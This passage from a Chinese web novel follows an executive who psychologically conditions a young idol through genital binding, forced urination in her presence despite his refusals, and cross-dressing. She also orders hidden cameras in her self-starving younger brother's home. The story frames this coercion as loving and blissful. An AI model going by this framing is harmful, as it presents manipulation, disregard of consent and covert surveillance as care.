都说好的恋爱会促人向上,待在邱芜澜身边,和她同吃同住,他也就不再想着那些炸物、甜品。 清心寡欲不是源于事业上的焦虑,他不再想着什么舞台、什么演出、什么竞争,仅仅只是为了邱芜澜而已。 摆脱了梁勤文的糜烂地狱,他在邱芜澜身边的每一天都更加自律、内心也更加安宁,褪去了往日的浮躁。 在她身边,那些歌曲的数据、云书的点击量都不值一提,可笑他从前陷在数据泥淖里,比对家少了几百个赞就辗转反侧数个小时,狭隘又小家子气。 下.体的痛楚似乎减弱了两分,韩尘霄面带微笑,和邱芜澜在一起的每一天,他都在变得更好。 她是最好的恋人,宽容、体贴、引他向上,他怎么能拒绝她这点可爱的恶作剧。 这样想着,他竟从僵硬的疼痛中觉出了一种幸福。 她是喜欢他才这样做的; 如果不是想要和他长久发展下去,她怎么会在乎他手腕上戴不戴发圈。 六点。 往常这个时候邱芜澜回来了,今天却还没有动静。 韩尘霄去到落地窗前,正对着酒店前的马路,这个位置可以看见所有经过的车辆。 六点十五 他还没有看见邱芜澜的车,这让韩尘霄有些不安。 六点半、七点、七点半……绚烂的晚霞渐渐沉落,天幕陷于青黑。 他紧紧盯着窗外,一边刷新着聊天记录。 邱芜澜还没有回来。 之前晚半个小时她都会提前通知自己先吃饭,今天为什么没有消息? 担忧和焦虑的情绪从大脑流向痛处,血脉不和的皮肤暗沉发黑,身体和精神的双重焦躁让韩尘霄静不下心。 他试着给简发了消息,对方同样没有回应。 芜澜……她为什么还不回来? 是有饭局推脱不掉么?还是去见了在C国的朋友? 他对她的工作生活一无所知,她那样迷人,会不会有人把她灌醉? 韩尘霄不知道她这次来见的客户具体是做什么的,但既然和娱乐公司有合作,就一定少不了美人作陪。 她是和别的男人在一起吗,是他今早的态度惹她厌烦了吗? 韩尘霄坐立不安,他想给邱芜澜打电话,又记得她说过自己不喜欢工作以外的私人电话。 他想出去找她,可身上没有钱,也不知道她在哪儿。 八点,邱芜澜还是没有回来。 韩尘霄几度起身,又讷讷坐下,像是出现刻板反应的困兽,在笼前反复走动。 偌大的套房没有一点声息,他回到卧室,抓着邱芜澜的裙子聊以慰藉。 也许只是手机没电了,她总会回来的。 韩尘霄抱着裙子,一遍遍安慰自己:再等一会儿、再忍一会儿,不管邱芜澜是不是生气了,她总会回来的。 等她回来,他和她道歉,她会原谅他的…… 道歉、道歉、她会原谅他的…… 叮—— 轻微的开门声响起,韩尘霄猛地回头,就见大门打开,离开了一整天的邱芜澜出现在了门口。 她适时抬眸,和主卧的韩尘霄四目相对。 “芜澜!”韩尘霄急忙起身,趴了太久,小腿发麻,猝不及防摔倒在床下。 邱芜澜在玄关放下纸袋,朝着狼狈倒地的青年走去。 她面色淡淡地审视过他的身体,韩尘霄翻过身,讨好地向她展示:“芜澜,你回来了,你看,我一天都没有拿下来。” 邱芜澜看见了。 她惊讶地掩唇,双眼却流出欢喜。 “你真的照我说的做了。” 她蹲下身,帮他解开,勾起滑落的长发,笑吟吟地望着韩尘霄:“谢谢,我很高兴,你这样重视我说的话。” 韩尘霄如释重负的同时不禁哆嗦了一下,他红着脸道,“芜澜,我、我要去下卫生间。” 他挣扎起身,腿还有点麻,胳膊突然被人搀住。 “我扶着你。” “谢、谢谢。” 进了主卫,邱芜澜依旧没有离开。 韩尘霄羞窘地开口,“芜澜,可以了。” “没关系的。”邱芜澜抓着他胳膊的力道不减,“是我害你一整天不能上厕所,尘霄,对不起,我早上太上头了……是不是弄痛你了,要不要叫医生过来?” “不用不用。”韩尘霄连连拒绝,没有发圈绑着,他快要忍耐不住,“芜澜,你出去一下,我有点…忍不住了。” “不行。”邱芜澜担忧地蹙眉,“我要亲眼看着,万一坏了怎么办。” 韩尘霄一怔。 让他在邱芜澜面前……上厕所,他无论如何都做不到。 “别害羞,尘霄。”邱芜澜温和地安慰他,“我们是伴侣,医院里多得是为丈夫导尿的妻子,这没什么可害羞的。” “可是…” “让我看看吧,看看它还能不能正常运作。” 让她看看吧,看看他的服从性到哪一步了。 “不行,芜澜。”韩尘霄可以向她下跪道歉,却实在不能接受这种事。 他抓着她的手腕,试图将她拉开,“芜澜,你出去一下好不好,求你了……” 邱芜澜观察着他的表情,分析他的拒绝到底是出于尚未磨灭的自尊心,还是单纯的羞耻感。 她有了判断,向下扶起了它。 白皙的纤指和缺血的暗色皮肤形成鲜明对比,视觉和感觉上的双重冲击震得韩尘霄头皮战栗。 死死压抑了十个小时的闸口再也控制不住,温热的水液当即涌了出去。 韩尘霄大脑一片空白,他呆呆地看着眼前的一切。 整整一分半,最后,无力的滴洒在了邱芜澜米白色的皮靴上。 他的视线随之怔忪地落向那双皮靴。 忍耐已久后的疯狂发泄让韩尘霄舒爽得尾椎发麻。 震惊、羞耻、绝望、崩溃和生理性的畅快混合一起,他已什么都无法思考。 邱芜澜看着鞋面上的尿液,想了想,还是作罢了。 今天的收获已足够多,再刺激下去,怕是真的要把人吓跑。 她没有管鞋子,扶着韩尘霄走出去。 韩尘霄麻木地坐回床上,消化方才的一切。 一杯水送到了他唇边。 他傻傻抬头,邱芜澜满脸愧疚地看着他,“是不是一天没喝水了?你嘴唇都发白了。” 温暖的纯净水抵在干燥起皮的唇角,韩尘霄不管不顾地大口噇饮。 他可以自己拿着的,但邱芜澜没有松手,她扶着他的后颈,拿着水杯,一点点往他喉中灌去。 她倾斜的角度越来越大,到后面喂得有些急了,韩尘霄捂着喉咙呛咳出声。 邱芜澜坐去他身边,轻拍着他的脊背,陪他慢慢调整。 待韩尘霄平静下来,回想刚才种种,他颤抖着弓下脊背,未等消沉,又被邱芜澜捧起了脸。 她深吻向他,轻柔且珍惜。 “呼……” 这一吻绵长,是韩尘霄接过的最温柔的吻。 他氤氲地望着邱芜澜,邱芜澜眸里噙着点点笑意。 “没什么的,霄霄,那只是正常的生理反应。”她说,“我们已经坦诚相见很久了。” “而且,很舒服,不是么。” 韩尘霄呼吸一滞。 他无法否认邱芜澜的话,脸红得几乎滴血。 “你…”他目光躲闪着,嗫语道,“你有那种癖好么。” “……我不知道。” “什么?” “我不知道,”邱芜澜沉吟,“我从来没有对别人这么做过。” “为什么——”她迷茫地注视他,将疑问还给了他,“我明明是喜欢你的,为什么会对你做这种事情……” 韩尘霄瞳孔微缩。 一种隐秘的狂喜充斥了他的全身,洗去了羞耻带来的冲击。 她没有对其他人做过…… 她只对他而已、她只对他而已! “你讨厌我这样么?”邱芜澜问。 “不,我不讨厌。”韩尘霄紧握住邱芜澜的手,看见她的皮靴后又自责,“我把你的鞋子弄脏了……” 他的回答似乎让邱芜澜松了口气,她旋即笑了起来,“你要赔我么,这双鞋可不便宜。” 韩尘霄赶忙道,“多少钱,我一定赔偿你,不够的话你从我工资里扣。” “我怎么会和你要钱。”邱芜澜松开他,目光移向床上的那件裙子。 “我的裙子,为什么会在这里。” 韩尘霄哑然,好一会儿才羞涩地回答,“对不起……你今天回来得有点晚,我担心你。” “你是在睹物思人?” 她脸上的笑多是商业礼仪,私下时连礼仪性的笑都不多见,感到愉悦时也只是眉眼舒展一些。这样发自内心的笑容,韩尘霄鲜少看见。 他尴尬地点头,一边又沉溺在绝美的笑靥中,为她倾心。 邱芜澜提起裙子的一角,上面有几处褶皱,显然是被韩尘霄攥出来的。 “我不要你赔我的鞋子,作为替代——”她对他说,“穿裙子给我看吧,霄霄。” 韩尘霄惊诧地抬头。 邱芜澜展眉,“捏得这样用力,你很喜欢这件,是么。” 要是舔鞋还有点勉强,那就慢慢来,先从简单的做起。 第56章 第五十六章 “怎、怎么样?”韩尘霄拉扯着两边裙摆, 邱芜澜个子不矮,裙子套在他身上 ,长度方面倒不尴尬, 尴尬的是胸口和腰。 邱芜澜的腰身没有一点赘肉,她也并非过分火爆的类型, 这种量身定制的尺寸将韩尘霄的身体死死勒紧。 他单手掩着前胸,宽厚的肩膀和胸肌将衣料撑得发白, 紧绷之下,胸口无可避免地出现突起。 邱芜澜倚着桌沿,欣赏韩尘霄扭捏的姿态。 “别这么古板, ”她鼓励他, “现在只是我看, 等你短视频平台粉丝过百万了, 按照习俗, 可是得上传女装视频的。” “那不一样。”韩尘霄小声说。 “把手拿开。”邱芜澜上前, 拉下他挡在胸口的手臂。 她端详着穿她裙子的青年, 他已是面红耳赤,羞得浑身冒热气。 邱芜澜抬手,指腹触上了他裙领边的锁骨, 鉴赏文物般地向下滑去。 “好热。”她给出了评价。 “有点闷。”韩尘霄压抑着渐重的呼吸, 极力吸腹, 试图让腰部的衣料宽松些。 “闷吗。”游移的指腹停在他饱.胀的前胸,“但也很舒服, 不是么。” 韩尘霄胸口起伏着, 这件裙子下,他呼吸时每一寸肌肉收缩都能看得一清二楚。 “舒、舒服?” 他不能理解邱芜澜怎么会觉得他这个状态很舒服。 “我小时候,会喜欢躲在狭窄的地方。”女人的指尖继续向下, “全封闭的堡垒只容得下我一个人,没有人能进来,也就没有人能打扰我、逼迫我做不想做的事情。” “被紧紧包裹的感觉,让我觉得很安心。” 她的声音潺湲舒缓,听得韩尘霄放松下来。 他感受着呼吸时被布料束缚的紧绷感,整个上身的皮肤都被覆盖,紧到骨骼、内脏都隐隐感受到包裹感。 他渐渐觉得,确如邱芜澜所说,这是一种脚踏实地的异样心安。 看着腹前的柔荑——或许称不上柔荑,邱芜澜的手形很美,皮肤很白,但掌心指腹有着薄茧。 受压迫的皮肤敏感至极,她的触摸被赋予一层新的官感。 韩尘霄的呼吸趋于平缓,邱芜澜抬眸,浅淡地笑,“感受到了么,很舒服,对不对。” 这一次韩尘霄迟疑着,点了点头。 他不确定这种感觉算不算舒服,可他想和邱芜澜有“同感”。 “为什么大家都热衷于稳定的工作,”邱芜澜自他小腹前划过,“工资低、事情多,哪怕一眼看得到头,可只要稳定,就让人趋之若鹜。” “同样是被支配,越是稳固、越是具体,就越让人幸福。” 她绕到他身后,露出桌子后的立地镜。 她自后环着他紧束的腰,另只手撩起了他的裙摆,让他出现在镜子里。 韩尘霄随着她平和的语调,徐缓地呼吸。 他感受到了宁静,脸上却无端泛着薄红,眼睛也懒倦地半敛。 这条不合身的长裙搭配他的表情,流露出诡惑的慵懒妩媚。 邱芜澜啄吻过他的侧颈,清浅的兰草香洒在他的颈窝。 “我的霄霄身材这么好,不穿紧身衣,可惜了。” 这一天的经历让韩尘霄精神力有些溃散,他撑着桌沿,沉浸在裙下的快感之中。 他昏昏然地顺着邱芜澜的话回答,“你、你喜欢我这么穿么……” “很美。”邱芜澜收拢裙下的五指,对着镜子里的他呵气,“不过,只能在我面前。” 韩尘霄颤抖着趴去桌上。 他全身烧灼般滚烫,偏偏心跳沉稳,感受到了祥和的宁静。 哪怕是一眼看得到头的日子,可当被支配感足够稳固、足够具体,就能产生足够的幸福。 韩尘霄的人生从未如此幸福过。 …… 这一趟C国之行,合作进展得还算顺利,邱芜澜长距离出差的惯例,最后一天是留给员工的休假。 他们可以选择在当地游玩一天,也可以提前回国休息。 邱芜澜自己通常是提前回国的,但这一次,她同样多留了一天。 拉上窗帘的酒店不分昼夜。 简提前得到了邱芜澜的通知,没有去打扰她。 第三天上午,简站在门口等邱芜澜出发。 当门打开,看见韩尘霄的时候,简不由得愣了一下。 眼前的青年穿着来时的衣服,他没有化妆,没有做任何改变,身上的气质却截然不同了。 一股说不出的媚态萦绕在他眉间,他的目光始终停留在邱芜澜身上——不再是从前那种青涩的少年暗恋,像是经过了催熟的水果,变得软烂多汁。 韩尘霄对邱芜澜更上心了,这对简来说算是好事,但也有奇怪的地方。 他的注意力过于集中在邱芜澜身上,看也不看地自简身边经过,再不像从前那样礼貌客气地和她打招呼。 简想到了某些转正的员工。 试用期时对谁都殷勤热情,转正合同一下来,就只专注于自己的工作和上级,对其他人一脸冷漠。 这不能说是坏事,只能说是明确了工作范畴和工作职责后的人之常情。 上了飞机,邱芜澜照旧要处理工作。 她拿出平板和触碰笔,刚刚开机,平板便被人接过。 韩尘霄坐在她旁边,双手托着平板,充当了人体支架,免去她拿的动作。 “谢谢。”邱芜澜接受了他的好意,“要吃点什么,你一天一夜没进食了。” “我不饿。”韩尘霄摇头。 单手托平板不够稳固,他空不出手吃饭。 邱芜澜滑动着界面上的几张表格,嘉奖般揉了揉他的头。 简诧异地看着这一幕。 她的印象里,韩尘霄可不是这么有眼力见的主儿。 这一周到底发生了什么,让他变得如此彻底。 简眼看着韩尘霄维持了近四小时的弯腰斜肩姿势,直到邱芜澜结束工作,他才得以休息。 简不由得感叹,上心和不上心的区别。 从前韩尘霄只是喜欢邱芜澜,现在才有了认真的姿态。 这也难怪,在外面经历了一遭,被梁勤文收拾过了,才知道她们小姐的好。 没了小姐,这样的男偶像遍地都是,谁都能在他头上踩一脚。 韩尘霄能意识到这一点,还不算笨,比当年自命清高离开小姐的华君润强不少。 飞机落地,直升机等在外面。 韩尘霄亦步亦趋跟在邱芜澜身后,她突然停下,在直升机前转身望向他。 “辛苦了,你可以回宿舍了。” 韩尘霄一愣,这些天他从来没离开过邱芜澜的住处。 像是一场绮丽的美梦,现在梦醒了,他又要回到自己的员工宿舍、应付那些没完没了的活动,再难和她长时间相处。 他眼睫微垂,流露出浓浓的失落。 “回宿舍收拾一下。” 清冷的女声再度响起,韩尘霄抬眼,对上邱芜澜柔和的面色,“明天开始,搬到我的公寓。密码是你生日。” 韩尘霄瞳孔微缩。 邱芜澜转身上了直升机,她在窗边落座,冲他挥手告别。 韩尘霄心跳如鼓,强烈的喜悦冲得他耳膜闷疼。 宽松外套下的紧身衣里,是紧绷的肌肉。 直升机高去,邱芜澜收回视线,对简吩咐,“把门锁改成他生日后,你就下班。” “好。”简点开人事名册,开始查韩尘霄的生日。 飞机落在别墅区的停机坪。 抵达时,国内已是深夜。 邱芜澜看了眼时间,季尧应该睡了,那些礼物明天带去公司给他。 她揉了揉长途跨国后有些发涨的太阳穴,折腾了一天半,多少有点疲倦。 进院子的时候,邱芜澜下意识看了眼隔壁季尧的别墅,那里灯光全暗,也不知道他是睡了,还是不在。 按照以往的经验,邱芜澜有心理准备,进门后,看见客厅沙发上的人影时,不免有些无奈。 果然又是这样。 “姐姐!” 少年不知坐了多久,在她开门的刹那起身,冲她露出粲然的笑容。 “你回来了。” “嗯。”邱芜澜将两只纸袋递给他,“怎么还不睡。” “我在等姐姐。”他接过袋子,放去沙发上,帮邱芜澜脱去外套。 邱芜澜坐去沙发上,就见茶几上摆着一壶淡色花茶。 她端起抿了一口,温度正好,馥郁的香气洗去了长途的窒闷。 “还顺利么?”季尧挂好衣服后,坐来她身边。 邱芜澜颔首,她起先以为是灯光的缘故,现在看着,季尧的脸色有些不对。 她拧眉,拂过他似乎尖了的下巴,“生病了?” “没有,就是熬了两天夜。” “再加上没有好好吃饭?” 少年冲她人畜无害地笑。 口齿间的花香让邱芜澜压住了怒意,她看了眼时间,“今天太晚了,明天和我去见菲安。” 她用目光点了点他身侧的纸袋,“看看,买对了么。” 季尧果真拉开袋子,一个个检查,在一众周边里发现了一张枫叶。 “这是什么?” “刮到我帽子的树叶。” 季尧一顿,回想起邱芜澜走时,自己对她说的话—— 「我没什么想要的,但是如果有树枝刮到了姐姐的帽子,就把《冠军岛运动会》的周边带回给我吧。」 邱芜澜拂过季尧柔软的发丝,轻声警告:“检查好了就上去睡觉。这些东西我先没收,视明天的体检情况再决定给不给你。” 季尧捏着那片叶子,蹭了蹭邱芜澜的手。 在她的抚摸之下,几日来的剧痛如潮褪去。 他瞌眸呢喃,“姐姐,阿尧好想你。” 最后一天,他躺在地板上无法动弹,痛得差得想给她打去视频。 邱芜澜以为他在用撒娇转移话题,可她准备支开他的头时,骤然瞥见了季尧眼下的青黑。 推拒的手一顿,她松松地回抱住他。 “真的想我,就好好吃饭、好好睡觉。”她说,“阿尧,别让我担心。” 她只有这一个健康的弟弟。 “我现在就去约菲安。” 季尧仰起脸笑道,“不用这么小题大做,姐姐,我这不是好好的么。” 他极力调整呼吸,掩藏着惶恐的心虚。 “我知道你这段时间放纵了自己,有心理准备,”邱芜澜安抚道,“你不用担心。” 季尧维持笑意,身旁的五指收拢,告诫自己冷静。 每年的体检报告都没有显示出异常,他还年轻,肌体扛得住几天断食。 不用紧张,他不可能露馅。 他会永远是姐姐健康的弟弟。 第57章 第五十七章 回国第一天, 堆积了一个礼拜的事务等着邱芜澜处理。 工作上再忙,她还是分出了时间在季尧身上。 早些时候邱芜澜便察觉到,季尧不太会照顾自己。 他精通家务, 和上过新娘课程的名门闺秀一样无所不能,但他很不在乎自己。 通宵熬夜、不吃正餐, 她离开的时间稍长一些,他就会散漫怠惰得消耗自己的身体。 邱芜澜撞见过一次自己离开后的季尧房间。 楼上楼下所有窗帘都紧闭着, 电脑永不关机,多个大型游戏同时运作,主机热得发烫, 厨房却冷得积灰。 他身边散落着一点饼干糖果的包装, 甚至还有布洛芬的盒子。 那副模样, 和普通宅男毫无区别。 季尧过于早熟, 邱芜澜理解他内心保留了孤独的一面, 只是这样的生活实在有害健康。 她没有邱锦那么严苛, 不许季尧吃一点儿快餐炸鸡, 可他也不能把自己折腾成从网吧通宵出来的样子。 好在季尧听话,她说过之后,状况好了很多。 偶尔邱芜澜发现了, 只要不太过分, 她也就睁只眼闭只眼, 毕竟和邱泽然相比,季尧的叛逆期已经足够晚、足够乖了。 在季尧低血糖入院后, 邱芜澜意识到, 她的阿尧只是更加狡猾了而已,并不是真的有所改善。 昨晚一时心软放过他,今天早上邱芜澜立刻带着季尧去了医院做检测。 “邱总。” 菲安将刚刚得到的数据交给邱芜澜。他没有说话, 只是瞥了眼跟在身后的季尧。 翻过两页,邱芜澜的脸色登时沉了下来。 她好言好语地哄过他,温柔耐心地叮嘱过他,知道他那会儿在为韩尘霄闹脾气,也冷了韩尘霄几个月,让他安心。 他就是这样回报她的? “所以,你根本没有把我的话当一回事。”邱芜澜搁下报告,看向季尧,“你需要我下次出差时,装上监控么。” 季尧真切感受到了邱芜澜的怒意。 他在进门前先看过了报告,红细胞将将卡在4上、几个微量元素偏低,这些不重要,要紧的是神经方面的检测结果。 尽管昨天晚上姐姐回来后,躯体反应全然消退,他又特意吃了药,保障睡眠安稳,来医院的路上戴着耳机,听了会儿舒缓的音乐,无奈谷氨酸、乙酰胆胺还是超过了正常值,兴奋递质和抑制递质的数据也不在范围内。 菲安的团队很特殊,季尧没办法买通。 大约是十岁开始,姐姐越来越重视他,开始为他安排周密的体检,尤其重视他的脑功能。 那是季尧和邱芜澜最亲近的日子,他的焦虑反应并不明显,检查出来的数据还算说得过去。 十五岁后,季尧尝试过用药物调整身体数据,却没有把握完全骗过菲安的尖锐团队。 那一年邱芜澜抛弃了他,收走了他手上所有工作。 邱芜澜的心情并不比他好,季尧利用了她的愧疚。 在菲安带他去做脑部检查的时候,他压抑着狂跳的心脏,站在原地,冷淡讥笑:“有必要么?” 菲安不明所以。 季尧转身,从邱芜澜身旁径直走过,没有看她,话对着菲安说:“基础检查都结束了吧,我要回家打游戏了。” 两步之后,季尧听见,身后邱芜澜的呼吸湿重了两分。 他的心脏随着那呼吸一并湿冷、一并坠痛。 如季尧所预料的那样,邱芜澜没有叫住他,从此之后,季尧冷硬地拒绝了所有脑神经方面的检查。 今天的情况不太一样。 不久前他低血糖晕倒,已经让邱芜澜起疑;昨天晚上看见他的脸色后,邱芜澜更是有些恼火。 他没办法再利用她的愧疚逃避检查,只能尝试当年实验过的所有方法,努力让自己看起来健康。 不幸的是,他果然没能瞒过菲安的团队; 幸运的是,那些偏差的数值不算太高,姐姐不会一下子就往精神疾病方面联想,他还有转圜的余地。 在邱芜澜的质问下,季尧沉默了片刻。 他不能照实说。 头痛恶心、情绪低落、无法控制身体,这听起来太像生病。 他是那座庄园里唯一健康的人,无法助力姐姐的事业后,“健康”是他唯一能姐姐感到欣慰的成就。 季尧不想让她误会自己生了病。 “为什么不听话?” 他没有病,他只是太想念姐姐了而已。 这种情绪太深,才会看起来像是生病。 “对不起姐姐。”这不是适合蒙混的话题,可季尧编造不出理由,只能用优先级更高的事情转移邱芜澜的注意力。 “我不会再这样了。”他面色苍白,宛如低血糖发作,脚下一软,往地上栽去。 邱芜澜当即拥住他,和韩尘霄相比,季尧要轻一些——他不该是这样的,这一周近乎绝食的静态生活,让他变得瘦弱无力。 邱芜澜心情差极了,在国外完成两件作品的喜悦都不能拉平此刻的心情。 她冷然俯望怀里的少年。 这一刻她甚至庆幸自己遗传的是性.瘾,不会像哥哥那样,心烦意乱后出现暴力行径。 “跟着菲安去。”她抚过他消瘦了的肩胛骨,“我会让唐知行暂停你的工作。” 季尧嗅着她身上的兰草香,残留痛意的大脑像是被针线缝合,感受到了愈合的恬静。 他轻轻抓住邱芜澜的裙摆,“姐姐,不要生阿尧的气。” 邱芜澜无可奈何地叹气。 她对着菲安抬了抬下巴,菲安在看见报告结果时就有准备。 他扶住季尧,“邱总放心吧,我会照顾好季尧。” 邱芜澜没有如他以为的那样离开,而是道,“我和你一起。” 菲安微讶,“您要留下来等吗?时间会有点久。” “没关系。”邱芜澜率先朝等候室外出去,“走吧。” 菲安低头看了眼季尧,这一会儿的工夫,季尧似乎已经缓了过来,自己站直身体,不需要他搀扶了。 前往治疗室的路上,季尧不着痕迹地松了口气。 邱芜澜脸色虽然不好,但看起来没有往别的地方想,她大概以为是他这段时间少食熬夜打游戏多了,导致的神经数据偏差。 进入私立医院顶层,这一层需要坐专梯刷卡进入。 比起医院,这层更像是研究室,纯白的墙壁地板,走廊上看不见人影。 他们穿过走廊,抵达一间挂有“心理舒缓”铭牌的门前。 菲安按了指纹,灰白色的门向两侧打开。 邱芜澜不是很喜欢这个地方,治愈是祥和的,但每次来这里的理由都不太愉快。 和她混乱记忆里的场景一样,房里依旧是纯白的,灯光比走廊上更加柔和。 不论是邱芜澜还是季尧,对这里都不陌生。 房里坐着菲安团队的助理,菲安对她打了个手势,她起身去调整房内的休养舱面板。 菲安对两人致意,“我给季尧开了点补剂,他这一周作息太差,神经功能有些紊乱,先花半小时放松一下大脑。” 女助理已经调好了休养舱,季尧看向邱芜澜,邱芜澜对他点头,“去吧。” 他熟稔地走向休养舱。 这座全封闭的胶囊舱是菲安团队十年前研发出来,专为邱家人舒缓放松用的。 舱门合上,形成隔音空间,只有侧面的孔洞发出细微安稳的循环换气声。 脖颈、大脑枕在仪器上,贴合磁头,不到五分钟,睡意便涌了上来。 季尧放松身体,顺着这股睡意闭上眼。 等他醒来,舱门正好打开。 天花板上柔和的白色灯光照亮了他的视野里,并不刺眼,只是让他有些恍神。 刚结束深度睡眠的大脑尚有些迟钝,他像是被格式化的程序,一时忘记了焦躁的情绪、压抑的秘密,整个人松弛地躺着,连骨头都在发懒,眷恋这一段舒适的休息。 柔和的灯影下,季尧看见了邱芜澜的脸。 她抬手覆上他的额角,拨开微乱的发丝。 季尧冲她露出迷离的笑,还未清醒。 “喝点水。”菲安从另一侧出现,递来一只玻璃杯。 玻璃糖似的漂亮眼睛顿时清明,他从舱里坐起,接过杯子喝着水。 那不是普通的水,喝起来有点稠,有点甜。 季尧尝出了蛋白粉、葡萄糖、电解质和某些矿物质的味道。 “康复计划已经制定好了。”趁着季尧喝水的时候,菲安把平板送到季尧面前,“你掉了太多肌肉,这是今天的训练和饮食,可以接受么。” “姐姐看过了么。”季尧半敛着眼睑,懒得看上面的内容。 菲安答:“邱总已经看过了。” 季尧把杯子还给他,“那就开始吧。” “这边来。”菲安带他出门,过了走廊拐角,刷开另一间面积更大的房间。 一入门,满室新型器材摆满了房间。 两名穿着运动衣的教练已经就位,将房内的温湿度调到了合适的数值。 邱芜澜去了水吧边上的座椅落座,看着季尧进了更衣室。 出来时,他穿了一套灰黑色的贴身衣,衣服有点厚度,紧贴着身体,布料下隐约可见线路和芯片。 他脚上的鞋子也换过了,和衣服颜色一致,接近布鞋的形状。 菲安走到季尧身后,捏了两下衣服里凸起的按键。 这一套监测仪,按下开关,立即将季尧全身数据传到了菲安手中的平板上。 他在菲安的指示下,由两名教练陪同进行训练。 十一点,两个小时的康复训练结束,季尧进了浴室洗澡,出来换上了新一套监测衣。 在他身体数据让邱芜澜满意之前,这套监测仪衣都必须如Hloter一样贴身穿戴。 季尧在监测仪衣外面套了自己的裤子外套,菲安看了眼时间,带季尧离开训练室,去到隔壁休息室用餐。 送来的营养餐卖相平凡,比不上季尧制作的一半。 邱芜澜自己是下不了口的,却对季尧嘱咐:“不许剩下。” “好。”季尧乖乖拿起筷子,从蛋白质开始吃起。 菲安浏览着上午的康复数据,对季尧说:“这是这三天的作息时间表。” “接下来每天上午过来做一次训练。食物我会找人送过去。除计划表上的运动外,你也可以做少量的轻度运动,但是除了我们送来的食物外,请尽量不要摄入其他饮食。” 他翻了一页,又补充,“康复期间,禁止刺激性活动。” 季尧吃着饭,没有说话。 邱芜澜问:“需要多久?” 菲安道,“预计八到十天就能达到邱总您满意的效果。” “今天就到这里了么?” “是的,今天吃完这顿饭就结束了,之后您提前一个小时告诉我晚餐要送到哪儿就行。” 邱芜澜点点头:“辛苦了,你也去吃饭吧。” 菲安笑了下,“随时叫我。” 他离开了休息室,邱芜澜的目光放去了季尧身上。 营养餐做得很考究,但看起来十分寡淡,这是提前准备好的菜品,没什么热气,只有些许余温,邱芜澜一点儿兴趣都提不起来。 将心比心,她对未来八天都得吃这种东西的季尧生出两分心软。 “还好么,”她问,“今天感觉怎么样?” 季尧含着筷子回答:“感觉很好。” 邱芜澜抿了抿唇,“阿尧,我知道这过程不好受,但这是第二次了,上一次低血糖我没有深究,这一次,不能再忽视了。” “我明白的,姐姐是在关心我。”季尧微笑,“我真的没有觉得难受。” 邱芜澜当然不信这话。 别说青春期的男孩,任何人都不会乐意被禁止一切娱乐活动,更别提一日三餐、几点睡觉,甚至连穿什么都要被严格监管。 “乖一点。”她心里也并不好受,“不要背着我干坏事,早点恢复,就能早点结束。” 季尧弯眸,“好。” 他没有再解释,他真的不觉得难受。 不仅不难受,在邱芜澜关切的目光下,他觉得舒服极了,像是浸泡在热水里,全身每一个毛孔都懒洋洋地舒张放松。 虽然定制日程表的是菲安,但所有运动、所有食物全都经过了邱芜澜,是她做出的最终决定。 接下来的日子,他从睁眼开始,一切活动都将遵照邱芜澜的心意执行。 他的每一次呼吸、心脏的每一次搏动、喝了多少水、排出多少□□,全部都会传到邱芜澜眼前。 她会密切关注他,掌控他的作息、饮食和所有活动。 这种被邱芜澜支配的感觉为季尧带来安稳的幸福。 他一点儿也不觉得难受。 …… 结束了上午的治疗,邱芜澜带季尧回了办公室,依照菲安的建议没收了他的电子设备。 他要避免刺激,只能捧着本邱芜澜书柜里的外文金融书,一页一页打发时间。 看着在沙发上缩成一团读书的季尧,邱芜澜又想起了那份体检报告。 她被上面的指标气到了,在医院里只想着尽快修复季尧的身体,忘记追问季尧伤害自己的原因。 邱芜澜翻出菲安发给她的电子档,觉出了一点违和。 菲安不是专攻精神心理方面的医生,思忖片刻,她联系了泽安泽然小时候的主治医师。 对方是儿童行为问题领域的权威。 收到她的问题后,医生没忍住发了个笑的表情。 “孩子不肯吃饭?也没有吃很多零食?听你的描述,像是网瘾。” “他是喜欢上网,但不至于不吃不喝的程度。” “平时家长管得太严,是会在没有人的时候加倍爆发的。” “我没有限制过他上网。” “好吧,孩子多大了?” “20。” “……” “邱总,我只研究儿童行为心理。” “他离开19才不过几个月。” “我建议您还是去咨询成人心理的专家,您身边应该有不少资源,我就不向您推荐了。” 邱芜澜越过显示屏,看向沙发上的季尧。 那本书大概是很无聊,他看着看着睡着了。 季尧随妈妈长了张娃娃脸,躺着的时候,脸上有了点肉感,愈如天使般纯真无邪。 成人心理……会不会太大了点儿,至多也该是青少年而已。 邱芜澜有点排斥让季尧去看心理医生,但也知道这件事不太对劲。 折中之后,她给简发了消息:“去季尧房子装几个摄像头。隐蔽一点。” 她需要弄清楚,季尧虐待自己的原因。 季尧的情况让邱芜澜有点烦躁,她无视了列表里韩尘霄不断冒出的红点消息。 本想多给他一点甜头,现在没这个心情。 韩尘霄的服从性已基本满足保密需要。邱芜澜预备让他在公寓待半年做过渡,等他彻底退出娱乐圈后,再进别墅。 那不过是以防万一准备的应急药,连季尧的替代品都算不上,她在韩尘霄身上花费的精力已经够多了,眼下还是季尧的身体重要。 邱芜澜去到沙发边。 “阿尧。”她唤他,“醒一醒。” 季尧翻了个身,埋进邱芜澜怀中,困倦喃语:“姐姐。” “你上午在医院睡过了,再睡会头晕。”邱芜澜轻柔而坚决地把他挖了出来,“去跑步机上散散步,清醒一下,回来做饭。” 少年挺立的鼻梁抵在邱芜澜侧颈上,发出尚未清醒的鼻音,“姐姐,我没有病。” 邱芜澜微滞,她望向季尧的发顶,不知道他是察觉到了什么,还是单纯在为自己的检测报告狡辩。 “那就起来。”邱芜澜撤开。 醒过来的季尧坐在沙发上,朝她露出讨好的笑脸。 邱芜澜所见讨好之中,唯有季尧能如幼崽讨好母兽那般与生俱来,自然无瑕。 这是犹如水果的自然甜度,没有任何人工添加剂,是在邱芜澜舒适区的味道。 她暂且放过了他,等着下一次出差时的监控给她答案。 季尧在员工用餐时间内做好了邱芜澜的晚餐。他自己的那份由菲安的助理送来。 邱芜澜给他请的是病假,唐知行没说什么,他给季尧安排的工作向来不多,反正这小少爷从来没有要在娱乐圈打拼的想法,参加的大半都是慈善公益秀。 接手季尧三年,唐知行都琢磨出了规律,只要邱芜澜出差,她回来后的那一周,季尧肯定是无心工作的。 这一周不用邱芜澜请假,他本来也没给季尧接活儿。 唐知行管不着季尧,倒是自己押的常青树最近屡屡出现问题。 “你再说一遍?” “唐哥,我最近要搬家,能不能把这两天的工作推了。” 唐知行一口气没上来,对着休息室里的其他两人道,“杨木,浩炆,你们先去车里。” 察觉气氛不对的两人立刻回避,房间里只留下唐知行和韩尘霄。 “尘霄,和邱总出差已经浪费了一整周,你搞清楚,是邱总出差工作,不是你出差工作,上一周你完全属于请假。 